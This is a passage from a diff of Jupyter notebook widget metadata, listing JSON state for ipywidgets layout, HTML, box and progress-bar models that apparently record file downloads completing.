+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "2a102143c0104a779d603a6bdb3660fa": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_a3d3d82a9773428a9a25129bfa24e767",
+              "IPY_MODEL_7c8a0570e9b740bda031cb3b612b0a55",
+              "IPY_MODEL_55a5498bc8054b89aca1dec1586d5c37"
+            ],
+            "layout": "IPY_MODEL_253e08d6aebf4490944241be5c98d887"
+          }
+        },
+        "2a416594de744d5fa35d961b9f167e40": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_20920dba7f524f2e9c38199114635f8b",
+            "placeholder": "",
+            "style": "IPY_MODEL_f7297bd1efd24a2096b5f4017b220643",
+            "value": "Downloading: 100%"
+          }
+        },
+        "2a51b3687a6c45cd8f647066bbdb571c": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "2a83fad0067443fca1757913d4de86fc": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "2afd9510b70944f28043a89ec4505c5c": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "2ed1c1b6282a48f38fb4db30c9758481": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "2ed8085a8e4541c09ea9ec0f215a543c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "ProgressStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "ProgressStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "bar_color": null,
+            "description_width": ""
+          }
+        },
+        "2f38e041d47c4e7291eeeafb483af317": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "2fe7d333556643a6b7aa3e7b3d23ad2f": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "3019d023fa6141bf9b5810150463e86c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_02adc6964fc841b191648935a8582d16",
+              "IPY_MODEL_7c77c4cedb3f4dcaac3e344990e3955f",
+              "IPY_MODEL_ac236caac966462a820274d645bda09d"
+            ],
+            "layout": "IPY_MODEL_488086c45992441fbde55ad995cd25f7"
+          }
+        },
+        "302122ed60be403f8de83d16bb131f01": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_c6e08dd8a8e9405cbef61c10dbb6c8dc",
+              "IPY_MODEL_08927ca870534d02b930900d968c8477",
+              "IPY_MODEL_e031e1ff28e744ec9f9308adbdb7f549"
+            ],
+            "layout": "IPY_MODEL_40ca3bd66a3b4a82b3060093f6b30118"
+          }
+        },
+        "315240aedfce4fba997dc6f1cde76b88": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_97d49dcd201c4b43bd28d14b60834429",
+            "placeholder": "",
+            "style": "IPY_MODEL_0edadb813122420c9f4b9d3200fcf27e",
+            "value": " 850M/850M [00:22<00:00, 41.0MB/s]"
+          }
+        },
+        "3204c0d867754a42889d3ad150bc803e": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "334cb7cc7a30431fb966da39f0b987c2": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "34192abf8773479e903f93ead660ed5f": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_df24510d1a4a4be3a2969d5a1c30eb42",
+            "placeholder": "",
+            "style": "IPY_MODEL_07e8835f207749fdbb9d621f2d361c84",
+            "value": "Downloading: 100%"
+          }
+        },
+        "349505d2b45c45fa967bb78887b5fb41": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "350ec18692bf47e4830c323cc9507205": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_60ee1b216be642a7b0153b066093d434",
+            "placeholder": "",
+            "style": "IPY_MODEL_1884398ce5494e3eb9a42e3364bed8ca",
+            "value": "Downloading: 100%"
+          }
+        },
+        "35d89946664149f8b69afd67133b877c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_f4bb72710c6e41baa74a13ee392096a5",
+            "placeholder": "",
+            "style": "IPY_MODEL_03d4efa1eb774133950f8c5f6193b141",
+            "value": " 226k/226k [00:00<00:00, 664kB/s]"
+          }
+        },
+        "3615a2d5f4f44a0caf93b7bda9f92fd8": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "3632a37fad9e4f9ca6e74a3cd48e1926": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "36705016a501403b832dfafe35932607": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HBoxModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HBoxModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HBoxView",
+            "box_style": "",
+            "children": [
+              "IPY_MODEL_619905d3f5b44708a37bc724b396ffb9",
+              "IPY_MODEL_9e2230dc92d74319ac169bc472e58a51",
+              "IPY_MODEL_e9b1f3ec1dd84866a3e8fa83795bb3f4"
+            ],
+            "layout": "IPY_MODEL_dead2f9e19294a8a8e3148dc6c42c25b"
+          }
+        },
+        "36bd1bcc785e4db3bb6c0bc80fa4a45c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_5bd251dbc01a4e7586d5b1e4373a3357",
+            "placeholder": "",
+            "style": "IPY_MODEL_dc531a5f3f5e49fca52eb5b28bec090e",
+            "value": "Downloading: 100%"
+          }
+        },
+        "37c54f873ad8469fbd8983bf737bc9ab": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_8743562ab5574578911cf006f47da8ea",
+            "placeholder": "",
+            "style": "IPY_MODEL_762d0a8e81a54917801dd02e8245b240",
+            "value": "Downloading: 100%"
+          }
+        },
+        "388ed006e94a4970af2d8ce095174233": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "39e30ef21b65498a8e46cca071ec3a34": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "39f71afbfd024770b1c04f263aad1a9c": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_08d94314477a40fe938684c636727c1d",
+            "max": 1355881,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_93ff8078a5f946bf9cf3bf798dba91d0",
+            "value": 1355881
+          }
+        },
+        "3aa4eb22905d4ff7b1de55e88f18284e": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_8cd757b4bee1442194a1fdaaca81f5d4",
+            "max": 898822,
+            "min": 0,
+            "orientation": "horizontal",
+            "style": "IPY_MODEL_ad040fe4c6c84bdc830f4c784ee8e63b",
+            "value": 898822
+          }
+        },
+        "3cd41eb2f2214632ac9e209c91634ffa": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_ebf0551cfd8b48058fc6f0d39e2838d1",
+            "placeholder": "",
+            "style": "IPY_MODEL_eed2ff4994904a8593805423ad883758",
+            "value": " 1.36M/1.36M [00:00<00:00, 2.02MB/s]"
+          }
+        },
+        "3ceb4f5d14f548bfab70b1c9917b8010": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "HTMLModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "HTMLModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "HTMLView",
+            "description": "",
+            "description_tooltip": null,
+            "layout": "IPY_MODEL_d5f005198c8440ca8d0c8c7de51e9b56",
+            "placeholder": "",
+            "style": "IPY_MODEL_b5f39651a9d8485a8d56f6b04b49d12e",
+            "value": "Downloading: 100%"
+          }
+        },
+        "3d72fd07e34240fc805e7ff8e7e8e7ed": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "DescriptionStyleModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "DescriptionStyleModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "StyleView",
+            "description_width": ""
+          }
+        },
+        "3d98791950bb488fad7c3e6b5c509741": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "3daa9562b36a4ce2b27302e27937b793": {
+          "model_module": "@jupyter-widgets/base",
+          "model_module_version": "1.2.0",
+          "model_name": "LayoutModel",
+          "state": {
+            "_model_module": "@jupyter-widgets/base",
+            "_model_module_version": "1.2.0",
+            "_model_name": "LayoutModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/base",
+            "_view_module_version": "1.2.0",
+            "_view_name": "LayoutView",
+            "align_content": null,
+            "align_items": null,
+            "align_self": null,
+            "border": null,
+            "bottom": null,
+            "display": null,
+            "flex": null,
+            "flex_flow": null,
+            "grid_area": null,
+            "grid_auto_columns": null,
+            "grid_auto_flow": null,
+            "grid_auto_rows": null,
+            "grid_column": null,
+            "grid_gap": null,
+            "grid_row": null,
+            "grid_template_areas": null,
+            "grid_template_columns": null,
+            "grid_template_rows": null,
+            "height": null,
+            "justify_content": null,
+            "justify_items": null,
+            "left": null,
+            "margin": null,
+            "max_height": null,
+            "max_width": null,
+            "min_height": null,
+            "min_width": null,
+            "object_fit": null,
+            "object_position": null,
+            "order": null,
+            "overflow": null,
+            "overflow_x": null,
+            "overflow_y": null,
+            "padding": null,
+            "right": null,
+            "top": null,
+            "visibility": null,
+            "width": null
+          }
+        },
+        "3e841b3ce0d346b3935f1f98aab4b2c2": {
+          "model_module": "@jupyter-widgets/controls",
+          "model_module_version": "1.5.0",
+          "model_name": "FloatProgressModel",
+          "state": {
+            "_dom_classes": [],
+            "_model_module": "@jupyter-widgets/controls",
+            "_model_module_version": "1.5.0",
+            "_model_name": "FloatProgressModel",
+            "_view_count": null,
+            "_view_module": "@jupyter-widgets/controls",
+            "_view_module_version": "1.5.0",
+            "_view_name": "ProgressView",
+            "bar_style": "success",
+            "description": "",
